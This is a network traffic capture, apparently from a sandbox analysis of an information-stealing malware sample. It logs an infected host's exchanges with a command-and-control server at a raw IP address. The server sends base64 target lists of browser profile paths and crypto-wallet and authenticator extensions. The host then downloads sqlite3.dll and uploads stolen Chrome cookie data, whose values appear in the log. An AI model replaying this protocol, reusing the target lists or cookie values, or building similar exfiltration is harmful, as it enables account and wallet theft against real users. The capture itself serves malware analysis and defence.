R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 27, 2024 16:18:40.028474092 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 27, 2024 16:18:40.152831078 CEST	468	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCF Host: 91.202.233.158 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 4b 46 48 49 44 48 49 49 4a 4a 4b 45 43 47 48 43 46 2d 2d 0d 0a Data Ascii: ------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------BFBKFHIDHIIJJKECGHCFContent-Disposition: form-data; name="message"plugins------BFBKFHIDHIIJJKECGHCF--
Sep 27, 2024 16:18:40.429531097 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 27, 2024 16:18:40.429542065 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Sep 27, 2024 16:18:40.429552078 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Sep 27, 2024 16:18:40.429562092 CEST	224	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxH
Sep 27, 2024 16:18:40.429620028 CEST	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Sep 27, 2024 16:18:40.429629087 CEST	224	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVu
Sep 27, 2024 16:18:40.429706097 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Sep 27, 2024 16:18:40.429855108 CEST	224	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZw
Sep 27, 2024 16:18:40.429925919 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Sep 27, 2024 16:18:40.430538893 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Sep 27, 2024 16:18:40.561177969 CEST	469	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJKEGHJKFHJKFHDHCF Host: 91.202.233.158 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 4b 45 47 48 4a 4b 46 48 4a 4b 46 48 44 48 43 46 2d 2d 0d 0a Data Ascii: ------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------IJJJKEGHJKFHJKFHDHCFContent-Disposition: form-data; name="message"fplugins------IJJJKEGHJKFHJKFHDHCF--
Sep 27, 2024 16:18:40.789834023 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 27, 2024 16:18:42.316934109 CEST	202	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEH Host: 91.202.233.158 Content-Length: 7159 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 16:18:42.708833933 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:43.160147905 CEST	93	OUT	GET /3836fd5700214436/sqlite3.dll HTTP/1.1 Host: 91.202.233.158 Cache-Control: no-cache
Sep 27, 2024 16:18:43.383698940 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 27, 2024 16:18:44.757958889 CEST	952	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHC Host: 91.202.233.158 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------IDHIEBAAKJDHIECAAFHC--
Sep 27, 2024 16:18:45.015557051 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:45.187287092 CEST	564	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGD Host: 91.202.233.158 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"d78526105dcde815c4bcc72dd49cb4f25b58773b9ca4d191fb55a85ddb5fc8a7b8eae5ef------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="file"------KKKKEHJKFCFCBFHIIDGD--
Sep 27, 2024 16:18:45.438107967 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:47.980273962 CEST	564	OUT	POST /e96ea2db21fa9a1b.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 91.202.233.158 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 37 38 35 32 36 31 30 35 64 63 64 65 38 31 35 63 34 62 63 63 37 32 64 64 34 39 63 62 34 66 32 35 62 35 38 37 37 33 62 39 63 61 34 64 31 39 31 66 62 35 35 61 38 35 64 64 62 35 66 63 38 61 37 62 38 65 61 65 35 65 66 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 